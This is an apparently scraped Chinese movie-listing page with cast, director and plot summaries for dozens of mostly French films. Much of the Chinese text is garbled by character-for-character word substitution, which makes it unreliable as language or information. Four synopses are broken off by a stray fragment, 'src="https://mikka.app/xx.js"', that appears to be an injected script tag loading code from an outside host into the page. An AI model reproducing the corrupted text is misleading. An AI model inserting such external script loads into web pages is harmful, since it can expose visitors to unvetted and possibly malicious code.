主演：让娜·莫罗,朱莉·加耶,Liliane,Rovère,皮埃尔·里夏尔,德尼·波达利德斯,洛兰特·道驰,马修·格克齐
导演：多米尼克·蒙法尼
简介：纳塔将满7岁，却一向不克不及识字。他对姑妈遗留给他的藏书掉望不已。直到夜晚降临，书中的人物纷繁现身，奉告纳塔他们面对永久消掉的危险。因而纳塔投身于一场冒险，来解救他的伴侣和他们的故事。他来得及读出解救他们的咒语吗？
主演：萨米·纳塞利,弗雷德里克·迪芬塔尔,玛丽昂·歌迪亚,艾玛·韦克伦德,笈田吉,清水露
导演：热拉尔·克瓦兹克
简介：魔鬼出租车司机达尼埃尔（萨米·纳塞利 Samy Naceri 饰）还是天天在公路上追风逐电，此日他由于开车输送临产孕妇而一举夺得赛车冠军，同时也担搁了和女友莉莉（玛丽昂·歌迪亚 Marion Cotillard 饰）父母碰头的约会，但达尼埃尔很快用速度帮忙了接见日本防卫部长的将来将军岳父。与此同时，考驾照再次掉败的埃米利安（佛瑞德瑞克·迪分索 Frédéric Diefenthal 饰）受命一同迎接日本部长，与达尼埃尔在机场重逢。差人局长在车队行进途中放置了反恐演习向日本客人揭示法国的先进手艺和精干部* src="https://mikka.app/xx.js" type="text/javascript">
主演：Richard,Anconina,帕特里克·坦西,布鲁诺·洛歇,Jean-Luc,Lahaye,Jeanne,Mas,Gilbert,Montagné,Sabrina,Salerno,Valéry,Zeitoun,Début,de,soirée,Desireless
导演：Frédéric,Forestier
简介：Vincent和Antoine都是狂热的乐迷，两人靠处处做工地秀苦苦撑持着一个小小的演艺公司。眼看生计难觉得继，Vincent家中的一个小小皮盒给了他们创业灵感：Jeanne Mas, Jean-Luc Lahaye, Lio, Desireless, Peter & Sloane, Fran?ois Feldman, Début de soirée, Images, Cookie Dingler, Sabrina, Gilbert Montagné... 里面装满了80年代的畅销曲！让这些80年代的巨星从头登上舞台会大年夜卖吧！？两位建造人因而解缆去寻觅那些已被公众遗忘的明星们。从乡间小酒吧里的寒酸怀旧演唱会开端r……直到法兰西活动场！
主演：让·雷诺,文森特·卡索,娜迪亚·法尔丝,多米妮克·桑达,让-皮埃尔·卡塞尔,狄迪尔·弗拉蒙,弗朗西斯·利范德,弗朗辛·贝尔热,菲利普·纳翁,文森特·图利,罗兰·拉斐特,Robert,Gendreu,Christophe,Bernard,Nicky,Naudé,Karim,Belkhadra,Tonio,Descanvelle,克里斯朵夫·罗西尼翁
导演：马修·卡索维茨
简介：《暗潮》2000年9月27日在法国上映时好评如潮，首周不雅众人数就冲破百万，并成为2000年法国卖座冠军大年夜片。丰富经验的巴黎警探皮耶（让·雷诺 Jean Reno 饰）来到大年夜学城窥伺被绞杀的尸身高悬在山崖上的古怪命案。颠末一番查询造访后尼芒斯发现：这所著论理学府汗青悠长，人才 辈出，但校方为了奉行精英不雅念，竟让教职员间世代通婚。与此同时，布满冲劲的本地年轻差人麦斯（文森特·卡索 Vincent Cassel 饰）则在小教堂清查20年前神秘掉踪的少女，有人入侵了十八年前死于车祸的十岁女孩朱迪丝的墓室，并在那边涂画纳粹标记。看似孤立的两起案件却有着内涵联系，因而两个办案气势大年夜异其趣的人不克不及不变成火伴，联手侦破此中的奥秘。颠末层层抽丝剥茧，终究使埋没在案件背后的本相浮出了水面。
主演：埃迪特·克莱韦,布鲁诺·冈茨,埃达赛裴尔,彼得·吕尔,奥托·山德尔
导演：埃里克·侯麦
简介：故事产生在乎大年夜利的一个小镇当中，批示官洛伦索（Peter Lühr 饰）的女儿马奎斯（埃迪特·克莱韦 Edith Clever 饰）带着女儿守寡多年，在危难之际获得了伯爵列特里特（布鲁诺·甘茨 Bruno Ganz 饰）的出手相救，才得以幸免于难，马奎斯对伯爵生出了一丝好感，但是，第二天，伯爵便跟从着军队分开了小镇。没过量久，马奎斯发现本身的身上竟然呈现了怀孕的迹象，没有人知道孩子的父亲是谁，就连她本身也不知道。马奎斯的未婚先孕让她成了小镇里的笑柄，遭到了父亲的鄙弃和摈除。无奈之下，马奎斯只得登报寻觅孩子的父亲，让她没有想到的是，前来之人竟然正是伯爵。没法接管此事的马奎斯回绝了伯爵的求婚。* src="https://mikka.app/xx.js" type="text/javascript">
主演：Danièle,Huillet,Jean-Marie,Straub
导演：Pedro,Costa,Thierry,Lounas
简介：Six unused scenes from WHERE LIES YOUR HIDDEN SMILE One of the more priceless of the bagatelles in this collection features a lounging Jean-Marie Straub who gives a non-stop disquisition on liberty and filmmaking while Danièle Huillet busies herself with laundry, and their dog Melchior frisks in and out of frame.
主演：René,Lefèvre,朱尔·贝里,弗洛雷勒
导演：让·雷诺阿
简介：朗治（瑞奈·列费夫尔 René Lefèvre 饰）在一间印刷厂里做了平生的文员，撇开正式职业不谈，他还有一颗成为作家的心，经常在业余时候创作漫画和小说。一天，朗治的老板由于贪腐欺骗的罪过东窗事发选择了跑路，却在路上遭受车祸着落不明，为了保持印刷厂的正常运作，朗治被选举成了印刷厂的姑且管事人，在朗治和其他员工们的尽力经营之下，本来濒临倒闭的印刷厂不但避免了关门大年夜吉的命运，还有了不菲的盈利。一天，老板巴尔塔（朱尔·贝里 Jules Berry 饰）俄然呈此刻了朗治的眼前，大年夜难不死的他不但诡计并吞朗治和工人们的所有劳动功能，乃至想要将朗治的女友据为己有。
主演：胡立欧·查韦斯,玛莉亚·奥内托,María,Ucedo,Inés,Molina,Arturo,Goetz
导演：艾瑞尔·罗特
简介：2007柏林电影节评审团奖。讲述一个变换身份的神秘人的故事。像平常一样，某天去另外一个国度出差，却变成了另外一段路程的开端：当他达到他的目标地时，Juan Desouza发现他身边一名男人已灭亡。鬼使神差的，像进入一个游戏世界一样，他决定用这小我的身份，为本身找一份工作，找一个处所居住，并且不希望回到畴昔的生活。在他的这类新生活里，在可能的状况下，在没有目标的环境下，这个汉子开端了一段探访赋性的冒险。为了从头发现他的人生不雅，他用本身最根基的本能，试图贯通他对生活的理解。对他来讲，他选择甚么生活，他为甚么活着，绝不是只有一种可能。此片由德法与阿根廷合拍，艾瑞尔-罗特为阿根廷青年导演兼编剧，继2001年推出《Sólo por hoy》(生活在他方)后，此次艾瑞尔-罗特带着《El otro》再次来到柏林。该片其导演的第二部作品。Julio Chávez曾仰仗在玛莉亚.卢萨.贝姆1982年执导的文艺片《Senora de nadie》(无丈妻身)，在巴拿马影展中获得最好女演员奖，该片可谓八十年代阿根廷电影的经典之作。其出演的影片《守护者》是56届柏林电影节参展影片。
主演：内详
导演：居伊·德波
简介：Voice 1 (male professional announcer type) This neighborhood(1) was made for the wretched dignity of the petty bourgeoisie, for respectable occupations and intellectual tourism. The sedentary population of the upper floors was sheltered from the influences of the street. This neighborhood has remained the same. It was the strange setting of our story, where a systematic questioning of all the diversions and works of a society, a total critique of its idea of happiness, was expressed in acts.These people also scorned subjective profundity. They were interested in nothing but an adequate and concrete expression of themselves.Voice 2 (Debord, monotone) Human beings are not fully conscious of their real life - usually groping in the dark; overwhelmed by the consequences of their acts; at every moment groups and individuals find themselves confronted with results they have not wished.Voice 1 They said that oblivion was their ruling passion. They wanted to reinvent everything each day; to become the masters and possessors of their own lives.Just as one does not judge a man according to the conception he has of himself, one cannot judge such periods of transition according to their own consciousness; on the contrary, one must explain the consciousness through the contradictions of material life, through the conflict between social conditions and the forces of social production.The progress achieved in the domination of nature was not yet matched by a corresponding liberation of everyday life. Youth passed away among the various controls of resignation.Our camera has captured for you a few aspects of a provisional microsociety.The knowledge of empirical facts remains abstract and superficial as long as it is not concretized by its integration into the whole ” which alone permits the supersession of partial and abstract problems so as to arrive at their concrete essence, and implicitly at their meaning.This group was on the margins of the economy. It tended toward a role of pure consumption, and first of all the free consumption of its time. It thus found itself directly engaged in qualitative variations of everyday life but deprived of any means to intervene in them.The group ranged over a very small area. The same times brought them back to the same places. No one went to bed early. Discussion on the meaning of all this continued...Voice 2 Our life is a journey ” In the winter and the night. ” We seek our passage...�Voice 1 The abandoned literature nevertheless exerted a delaying action on new affective formulations.Voice 2 There was the fatigue and the cold of the morning in this much-traversed labyrinth, like an enigma that we had to resolve. It was a looking-glass reality through which we had to discover the potential richness of reality.On the bank of the river evening began once again; and caresses; and the importance of a world without importance. Just as the eyes have a blurred vision of many things and can see only one clearly, so the will can strive only incompletely toward diverse objects and can completely love only one at a time.Voice 3 (young girl) No one counted on the future. It would never be possible to be together later, or anywhere else. There would never be a greater freedom.Voice 1 The refusal of time and of growing old automatically limited encounters in this narrow, contingent zone, where what was lacking was felt as irreparable. The extreme precariousness of the means of getting by without working was at the root of this impatience which made excesses necessary and breaks definitive.Voice 2 One never really contests an organization of existence without contesting all of that organization's forms of language.Voice 1 When freedom is practiced in a closed circle, it fades into a dream, becomes a mere representation of itself. The ambiance of play is by nature unstable. At any moment ordinary life� can prevail once again. The geographical limitation of play is even more striking than its temporal limitation. Any game takes place within the contours of its spatial domain. Around the neighborhood, around its fleeting and threatened immobility, stretched a half-known city where people met only by chance, losing their way forever.The girls who found their way there, because they were legally under the control of their families until the age of eighteen, were often recaptured by the defenders of that detestable institution. They were generally confined under the guard of those creatures who among all the bad products of a bad society are the most ugly and repugnant nuns.What usually makes documentaries so easy to understand is the arbitrary limitation of their subject matter. They describe the atomization of social functions and the isolation of their products. One can, in contrast, envisage the entire complexity of a moment which is not resolved into a work, a moment whose movement indissolubly contains facts and values and whose meaning does not yet appear. The subject matter of the documentary would then be this confused totality.Voice 2 The era had arrived at a level of knowledge and technical means that made possible, and increasingly necessary, a direct construction of all aspects of a liberated affective and practical existence. The appearance of these superior means of action, still unused because of the delays in the project of liquidating the commodity economy, had already condemned aesthetic activity, whose ambitions and powers were both outdated. The decay of art and of all the values of former mores had formed our sociological background. The ruling class's monopoly over the instruments we needed to control in order to realize the collective art of our time had excluded us from a cultural production officially devoted to illustrating and repeating the past. An art film on this generation can only be a film on its absence of real creations.Everyone unthinkingly followed the paths learned once and for all, to their work and their home, to their predictable future. For them duty had already become a habit, and habit a duty. They did not see the deficiency of their city. They thought the deficiency of their life was natural. We wanted to break out of this conditioning, in quest of another use of the urban landscape, in quest of new passions. The atmosphere of a few places gave us intimations of the future powers of an architecture it would be necessary to create to be the support and framework for less mediocre games. We could expect nothing of anything we had not ourselves altered. The urban environment proclaimed the orders and tastes of the ruling society just as violently as the newspapers. It is man who makes the unity of the world, but man has extended himself everywhere. People can see nothing around them that is not their own image; everything speaks to them of themselves. Their very landscape is alive. There were obstacles everywhere. There was a cohesion in the obstacles of all types. They maintained the coherent reign of poverty. Everything being connected, it was necessary to change everything by a unitary struggle, or nothing. It was necessary to link up with the masses, but we were surrounded by sleep.Voice 3 The dictatorship of the proletariat is a desperate struggle, bloody and bloodless, violent and peaceful, military and economic, educational and administrative, against the forces and traditions of the old world.Voice 1 In this country it is once again the men of order who have rebelled. They have reinforced their power. They have been able to aggravate the grotesqueness of the ruling conditions according to their will. They have embellished their system with the funereal ceremonies of the past.Voice 2 Years, like a single instant prolonged to this point, come to an end.Voice 1 What was directly lived reappears frozen in the distance, fit into the tastes and illusions of an era, carried away with it.Voice 2 The appearance of events that we have not made, that others have made against us, now obliges us to be aware of the passage of time, its results, the transformation of our own desires into events. What differentiates the past from the present is precisely its out-of-reach objectivity; there is no more should-be; being is so consumed that it has ceased to exist. The details are already lost in the dust of time. Who was afraid of life, afraid of the night, afraid of being taken, afraid of being keptVoice 3 What should be abolished continues, and we continue to wear away with it. We are engulfed. We are separated. The years pass and we haven't changed anything.Voice 2 Once again morning in the same streets. Once again the fatigue of so many similarly passed nights. It is a walk that has lasted a long time.Voice 1 Really hard to drink more.Voice 2 Of course one might make a film of it. But even if such a film succeeds in being as fundamentally disconnected and unsatisfying as the reality it deals with, it will never be more than a re-creation ” poor and false like this botched traveling shot.Voice 3 There are now people who pride themselves on being authors of films, as others were authors of novels. They are even more backward than the novelists because they are unaware of the decomposition and exhaustion of individual expression in our time, ignorant of the end of the arts of passivity. They are praised for their sincerity since they dramatize, with more personal depth, the conventions of which their life consists. There is talk of the liberation of the cinema. But what does it matter to us if one more art is liberated through which Tom, Dick or Harry can joyously express their slavish sentiments The only interesting venture is the liberation of everyday life, not only in the perspectives of history but for us and right away. This entails the withering away of alienated forms of communication. The cinema, too, has to be destroyed.Voice 2 In the final analysis, stars are created by the need we have for them, and not by their talent or lack of talent or even by the film industry or advertising. Miserable need, dismal, anonymous life that would like to expand itself to the dimensions of cinema life. The imaginary life on the screen is the product of this real need. The star is the projection of this need.The images of the advertisements during the intermissions are more suited than any others for evoking an intermission of life.To really describe this era it would no doubt be necessary to show many other things. But what would be the pointBetter to grasp the totality of what has been done and what remains to be done than to add more ruins to the old world of the spectacle and of memories.1. This film, which evokes the lettrist experiences at the origin of the situationist movement, opens with shots of the Paris district frequented by the lettrists in the early 1950s.
主演：Alexandre,Arquillière,Jackie,Monnier,恩里克·里贝罗,Diana,Hart,雅克·贝克
导演：让·雷诺阿,Jean,Renoir
简介：Claudie, a young French woman, inherits her uncle's property in Algeria, much to the disappointment of her scheming cousins Diane and Manuel. On the ferry she meets and falls for Pierre, an idle young man who has squandered his inheritance and is on his way to beg from Christian, his rich but rough-and-ready uncle, who owns a neighbouring farm to Claudie's. Made to work on the farm by Christian as a loan condition, Pierre is soon a changed man, and proposes to Claudie. But when his Arab friend Zoubir invites the Europeans on a hunting party, Diane and Manuel see their chance to move against their cousin.
主演：马克桑斯·达奈-弗伟尔,鲁伯特·韦恩-詹姆斯,萨比恩·克洛森,Anaïs,D'Alyciade,Jean-Michel,Dubreuil,Agatha,Maksimova,Louise,Molinaro,Anaïs,Parello,Eléonore,Sarrazin,Axel,Baille
导演：乔里斯·福肯·格里莫德
简介：The House of Gaunt - Lord Voldemort Origins is a short film directed by Joris FAUCON GRIMAUD about Voldemort origins.The House of Gaunt is an unofficial short film who tells about the Voldemort origins, inspired by the Harry Potter universe from J.K. Rowling's book « Harry Potter and the Half-Blood Prince ». It is freely adapted for the screen and directed by Joris FAUCON GRIMAUD. This is a non-profit movie production that is unaffiliated andor controlled by Warner Bros.Made by fans for fans.
主演：萝拉·克雷顿,塞巴斯蒂安·乌泽多夫斯基,瓦莱丽·博莱同,瑟奇·伦科,欧扎·费什特
导演：米娅·汉森-洛夫
简介：卡米儿（罗拉•塞利顿Lola Créton 饰）十五岁那年遇上了苏利文，初恋的滋味让这个尚在懵懂的女孩咀嚼到爱情青涩的味道。但是苏利文从大年夜学退学，为了寻求自力的生活，在夏天即将结束的时辰分开了这个城市，开端了独自一人的路程。刚开真个几个月他还断断续续的给卡米儿来信，讲述着本身旅途中的工作，但几个月后，当卡米儿经常查抄信箱时，却再没了苏利文的消息。就如许一段经心投入却又无疾而终的初恋让卡米儿意气消沉，乃至想要自杀来寻求摆脱。在家人的帮忙下，卡米儿渐渐从这段爱情带给本身的伤痛走了出来，并且昂扬进修终在四年后成了一名超卓的建筑师。工作的启事让她熟谙了此刻的男伴侣洛朗，但是这段不变的爱情却在卡米儿偶遇苏利文后起了一丝波涛…
主演：利诺·文图拉,桑德拉·米洛,让-保罗·贝尔蒙多,马塞尔·达里奥,米歇尔·阿旦
导演：克洛德·索泰
简介：Abel Davos在所有差人的追捕下，从意大年夜利米兰流窜到法国尼斯。与一名陌生小伙子Eric Starck共谋合作，他从头回到巴黎，为的是解决债务……一部震动的作品，布满了严重悬念氛围。由乔斯.乔凡尼按照本身的小说改编，是法国警匪电影中最超卓的经典之一。
主演：夏洛特·韦里,弗里德里克·范登德里舍,米歇尔·瓦莱蒂,赫尔菲里克,让-克洛德·比埃特,玛丽·里维埃,罗杰·杜马斯,达尼埃莱·莱布伦,戴安莱夫里耶,Ava,Loraschi,Christiane,Desbois,Rosette,Jean-Luc,Revol,Haydée,Caillot,Claudine,Paringaux
导演：埃里克·侯麦
简介：侯麦著名系列作品“四时的故事”之一。菲利茜（夏洛特·海瑞 Charlotte Véry饰）和查理（费德瑞克·范丹狄德夏 Frédéric van den Driessche饰）在海边浪漫相恋以后，由于一时不寄望留下了写错的地址，而导致了二人再也找不到彼此。菲利茜生下了查理的孩子，但5年来却再也没有查理的消息。生活还在继续，菲利茜遇上了喜好她的一些男人，他们也不掉为好汉子，足够爱本身。比如成熟关心的马桑（迈克尔·瓦雷蒂 Michael Voletti饰）和才调横溢的路易（Hervé Furic饰）。但是，在菲利茜的心中，查理却仿照还是是个挥之不去的至爱之人。她不是不爱他们，只是没法爱到能和他们一路生活。她和路易一路看莎士比亚的歌剧《冬季的故事》，为里面的人物悄然落泪，或许她和剧中人一样，也在死守着一个决定信念。终究某个冬季，菲利茜和查理竟然在公车上重遇，执着的胡想等来了实现的一天。
主演：杰瑞米·卡彭,卡瑟琳·雅各布,玛丽-克劳德·皮塔卡拉,科洛·克莱沃,费利克斯·莫阿蒂
导演：亚历山大·布斯蒂罗,朱利安·莫利
简介：年轻女孩露西·克莱沃（Chloé Coulloud 饰）在某关照机构找到工作，她上班的第一天便是前去一幢位于郊外密林深处的古老别墅，照看在那边堕入深深昏倒并依托医疗设备保持生命的前芭蕾舞教师德博拉·杰塞尔（玛丽-克劳德·皮塔卡拉 Marie-Claude Pietragalla 饰）。传说这幢别墅里藏着价值连城的宝贝，露西在男伴侣威廉（Félix Moati 饰）的鼓动下，和他们的伴侣本（Jérémy Kapone 饰）在一个万圣节的晚上潜入别墅寻宝。但是颠末一番寻觅后却发现，别墅内除杰塞尔夫人仿佛还有其他人的存在，而那正是夫人本应早已死去的女儿。匪夷所思的可骇事务接连产生，露西他们将经历了永生难忘的一夜……
主演：亚历山德拉·霍尔登,雷·怀斯,林·沙烨,比利·阿什,米克·该隐
导演：让-巴普蒂斯特·安德烈,Fabrice,Canepa
简介：又一年圣诞节来到，弗兰克·哈灵顿（Ray Wise 饰）带着老婆劳拉（Lin Shaye 饰）、儿子理查德（Mick Cain 饰）、女儿玛丽安（Alexandra Holden 饰）及其男伴侣布莱德（Billy Asher 饰）驱车前去亲戚家度假。夜晚的旅途困顿乏味，弗兰克还几乎出了车祸。在极端压抑的环境下，他决定放弃那条走了20年的州际公路，转而奔上从未走过的巷子。可是这倒是一个糟的决定，路上呈现的白衣女子和玄色房车将海灵顿一家引向死途……本片荣获2003年布鲁塞尔国际奇异电影节欧洲奇异电影银奖和佩格萨斯不雅众奖、2003年亚洲奇异电影节评委会奖最好影片、2003年圣•塞巴斯蒂安可骇与奇异电影节不雅众奖最好影片。
主演：马克·米歇尔,吉恩·凯乐蒂,菲利普·勒鲁瓦,迈克尔·康斯坦丁,雷蒙德·梅尼尔
导演：雅克·贝克
简介：1947年，法国康复监狱。在押犯克劳德（马克·米歇尔 Marc Michel饰）刚搬入11号牢房时，遭到其他四位狱友的排挤，谨慎谨慎的马努（菲利普·雷罗伊 Philippe Leroy饰）、奸刁奸滑的罗蓝德（吉恩·克劳迪 Jean Keraudy饰）、凶悍强健的吉奥（迈克尔·康斯坦丁 Michel Constantin饰）和心计表情极重繁重的“旁边”（雷蒙德·缪涅尔 Raymond Meunier饰）。很快，彬彬有礼的克劳德获得了四人的承认与采取，并让他插手到正在精心经营的一场触目惊心的逃狱行动中。五人筹办掘地三尺挖个地洞逃出去，但是此时克劳德却获得了获得自由的好消息。由法国犯法片大年夜师雅克·贝克执导的经典逃狱片《洞》，可谓电影史上关于逃狱题材最伟大年夜的影片。这部雅克·贝克生前的最后一部作品，入围1960年第13届戛纳电影节金棕榈奖、荣获法国电影评论协会最好影片奖、英国电影学院奖最好外语片和最好外国男演员提名、法国《电影手册》十大年夜佳片之一等多项殊荣。
主演：托莫·希思黎,克里斯汀·斯科特·托马斯,Miki,Manojlović,卡瑞尔·罗登,Gilbert,Melki
导演：热罗姆·萨尔
简介：午夜，喷鼻港维港一艘私人游艇，亿万财主奈里欧·温奇（米基·马诺洛维克 Miki Manojlović饰）古怪淹死。作为权势复杂年夜的W集体的初创人和大年夜股东的奈里欧并没有正式的担当人，他将把所有的财富赠给他的奥秘养子拉戈·温奇（托莫·希思黎 Tomer Sisley饰）。二十年前奈里欧在南斯拉夫的孤儿院收养了男孩拉戈。但是担当这大年夜笔遗产的拉戈，却遭受了连续串错从复杂的暗害与谗谄，一场扑朔迷离的存亡决战就此上演。由法国导演吉勒莫·塞勒执导的影片《决战朱门》，改编自比利时漫画家菲利普·弗朗柯的同名漫画。影片横跨法国、美国、喷鼻港、东欧各国拍摄，加上不竭穿梭在回想与实际中险象环生的故工作节，荣获2012年第38届美国电影电视土星奖最好国际电影提名。
主演：卡琳·瓦纳斯,埃里克·坎通纳,MehdiNebbou,奥雷利安·雷克因,MaximRoy
导演：FrédéricSchoendoerffer
简介：主人公本来是想经过过程测验测验换下生活编制来打破今朝的人生窘境，却不料被别有专心的人设计堕入了一小我生困局中。当她遭到陌生人鼓舞测验测验去交友网站上换屋以后，第一天一切都是那样的美好和喜悦，可是第二天醒来倒是直接进入噩梦。先是被捕接管谋杀查询造访，然后一切证据都显示她就是凶手。好在女主人公有着固执的意志和复苏的脑筋、火速的反应，大白今朝的处境只有靠本身来解开谜团，是以寻机出逃本身查询造访，但是正当答案将近揭开之时再度堕入绝境* src="https://mikka.app/xx.js" type="text/javascript">
主演：伊万·阿达勒,理查德·马苏尔,艾伦·加菲尔德,Yossi,Banai,南茜·艾伦,莫里斯·贝尼舒,艾曼纽·德芙,伊波利特·吉拉尔多,摩西·伊夫吉,桑德琳娜·基贝兰,贝尔纳·勒科克,克里斯蒂娜·帕斯卡尔,让-弗朗索瓦·斯泰弗南,达恩·特伦,伊加尔·阿迪卡
导演：埃里克·罗尚
简介：男主人公被征募到以色列谍报局（摩萨德）进行练习，出师以后被派往世界各地履行谍报和间谍勾当，与他共同的组员们也一同业动着，而在这些人傍边一名迷人的以色列女谍报员深深吸引住了男主角，两小我在各类危险的行动中彼此产生倾慕，但为了至高无上的国度好处只能默默地不表达，随着最后一次任务的邻近这一切开端产生了改变。整部影片真实感极强又不掉浪漫，是一部不成多得的谍战大年夜片。
主演：让-保罗·贝尔蒙多,布律诺·克雷梅,让·内格罗尼,PatrickFierry,Jean-PierreJorris,维克托·加里维耶,克洛德·布罗塞,MarcelImhoff,莫里斯·奥泽尔,MurielBelmondo,RogerBenamou,让-吕克·鲍特,PatriceChapelain-Midy,MichèleDelacroix,JacquesDestoop
导演：PhilippeLabro
简介：罗歇·皮拉尔以为捕头就是为了赏金千方百计捉犯人的猎手。他要捉住“鹰"第一号社会公敌。“鹰"操纵犯轻罪的犯人进行犯更大年夜的罪，并有步调地解决他们。皮拉尔以假身份住进科斯达·瓦拉德的牢房，瓦拉德是“鹰"的共谋，并且是唯一逃离“鹰"追杀的人，皮拉尔获得他的信赖，并决定和他一路逃跑……* src="https://mikka.app/xx.js" type="text/javascript">
主演：阿黛拉·哈内尔,凯文·阿札伊斯
导演：托马·卡耶
简介：故事产生在一个酷热的夏天，阿诺德（凯文·艾泽斯 Kévin Azaïs 饰）的父亲经营着一家木工坊，平常平凡没事的时辰，阿诺德会在那边辅佐。在一次征兵鼓吹勾当中，阿诺德相逢了名为玛德莲（阿黛拉·哈内尔 Adèle Haenel 饰）的女孩。玛德莲和阿诺德熟谙的所有女孩都分歧，她体格强健个性奔放，有着巾帼不让须眉的气势，她热中于熬炼身体加强体质，只由于她坚信，世界末日就将近到来了。玛德莲的奇异气质深深的吸引了阿诺德的重视，在她的身上，阿诺德看到了本身不具有，但布满了巴望的品质。在玛德莲的影响之下，阿诺德和她一路报名插手了为期十天的陆军练习营。
主演：梅拉尼·罗兰,璐·德·拉格,凯撒·东布瓦,本杰明·瓦赞,艾玛纽尔·贝克特,塞德里克·康,科拉莉·吕西耶,玛尔蒂娜·舍瓦利,Grégoire,Bonnet,安德烈·马尔孔,瓦莱丽·斯特罗,Christophe,Montenez,Valentine,Cadic,Mathilde,Roehrich,Lomane,de,Dietrich
导演：梅拉尼·罗兰
简介：Eugénie是生活在19世纪一名光线四射布满热忱的姑娘。她有一种特别的先天：听获得看得见过世的人。当她的家人发现这个奥秘今后，她就被爸爸和兄弟送到精神病诊所萨尔佩特里尔医院，这让她完全没有可能逃脱她的命运了。这个诊所是由著名的Charcot传授办理，他是著名的神经学专家和精力病专家前锋，收留被诊断为歇斯底里、疯狂和癫痫和所有类型的躯体和精力障碍女病人。Eugénie接下来的道路将会碰到Geneviève，神经科女护士，这位护士的生活在她眼前流逝，可她去从未真正活过。她们的相遇将会改变她们的命运。她们筹办着Charcot传授每年在诊所进行的著名《疯佳丽舞会》。
主演：让·塞维斯,罗伯特·曼努埃尔,卡尔·蒙纳,朱尔斯·达辛
导演：朱尔斯·达辛
简介：因盗窃罪被判入狱五年的Tony（吉恩·塞维斯 Jean Servais 饰）出狱了，他的伴侣Jo（Carl Möhner 饰）想和他再去盗一个珠宝店，被Tony回绝了。Tony想找回他之前的女友Mado，但是此时Mado却和另外一个黑帮老大年夜Grutter在一路。Tony很愤恚，打了Mado，并且决心从头赢回Mado。因而他承诺了Jo，并结合Mario和César一共四人展开了盗窃珠宝店的行动。行动实施得很是顺利，César还拿了一个钻石戒指送给他的女友Viviane。Viviane是Grutter的酒吧里的女歌手，Grutter发现了这个戒指，以为Tony和César是盗窃者；同时，Mado提出要分开Grutter，Grutter知道是由于Tony的原因，因而派人去杀死Tony......本片按照法国作家Auguste le Breton's的同名小说改编。
主演：裴淳华,米娅·华希科沃斯卡,杰森·克拉克,杰克·奥康奈尔,杰克·莱诺,斯蒂芬·格拉汉姆,阿比盖尔·劳里,杰夫·贝尔,诺亚·尤佩,托马斯·M·赖特,沃尔克·布鲁赫,恩佐·科伦蒂,席琳·赛莱,奥斯卡·肯尼迪,克里斯蒂娜·勾兹托拉,吉尔·勒卢什,巴里·阿茨玛,亚当·那加提斯,拜尔特·爱德华兹,吉姆·斯图格恩,保罗·布伦南,斯科特·亚历山大·杨,科莎·恩格勒
导演：塞德里克·吉门内兹
简介：青年海德里希（杰森·克拉克饰）在舞会上对女子丽娜（裴淳华饰）一见钟情，并对丽娜的纳粹思想深表附和。二人婚后，海德里希经过过程丽娜的帮忙成为纳粹党卫军的一员，开端大年夜残虐杀犹太人，各种暴行让他成了“类人猿”行动的断根方针。负责执谋杀杀任务的扬·库比斯（杰克·奥康奈尔饰）和约瑟夫·加比希克（杰克·莱诺饰）孤身潜入布拉格，在捷克抵抗组织的保护下着手筹办，扬还与少女安娜（米娅·华希科沃斯卡饰）产生了一段凄美的爱情，但残暴的实际却提示着每小我时不我待。搏斗仍在继续，刺杀行动也终究开端……
主演：娜奥米·沃茨,劳拉·哈灵,安·米勒,贾斯汀·塞洛克斯,斯科特·科菲,梅利莎·乔治,布兰特·布里斯科,罗伯特·福斯特,凯瑟琳·汤,李·格兰特,比利·雷·赛勒斯,查德·艾微特,丽塔·塔格特,詹姆斯·凯伦,洛里·海瑞,安哲罗·巴达拉曼提,迈克尔·德·巴雷斯,马库斯·格雷厄姆,丹·哈达亚,马克·佩雷格里诺,蒙蒂·蒙哥马利,迈克尔·J·安德森
导演：大卫·林奇
简介：深夜的穆赫兰道产生一桩车祸，女子丽塔（劳拉·赫利 Laura Harring 饰）在车祸中掉了忆。她跌跌撞撞来到一个公寓里藏身。一名男人说他经常梦见一个叫云奇的处所，那边有个恶魔盯着他。因而就来到云奇，果真见到墙后有怪物呈现，男人当场晕死。还有一名杀手杀死了他眼前 的汉子，但是蹩脚的他却惹来了很多连续串的麻烦。故事回到一个刚到好莱坞“寻梦”的女子贝蒂（娜奥米·沃茨 Naomi Watts 饰），她的姨父姨母在电影圈有遍及分缘，让贝蒂的成长如虎添翼，试镜大年夜受好评。同时，她所住的公寓，正好是丽塔藏身之地。贝蒂收留了丽塔，二人豪情和谐。面对记不起本身是谁的丽塔，贝蒂决定帮忙她寻觅回本身的记忆。一名导演想本身决定新戏的女主角，却被他人强行放置人选。工作不顺意的他还发现老婆和洁净工睡在一路。这些看似疏松的事务，就像一个迷宫，引向一个让人猜不透的世界……
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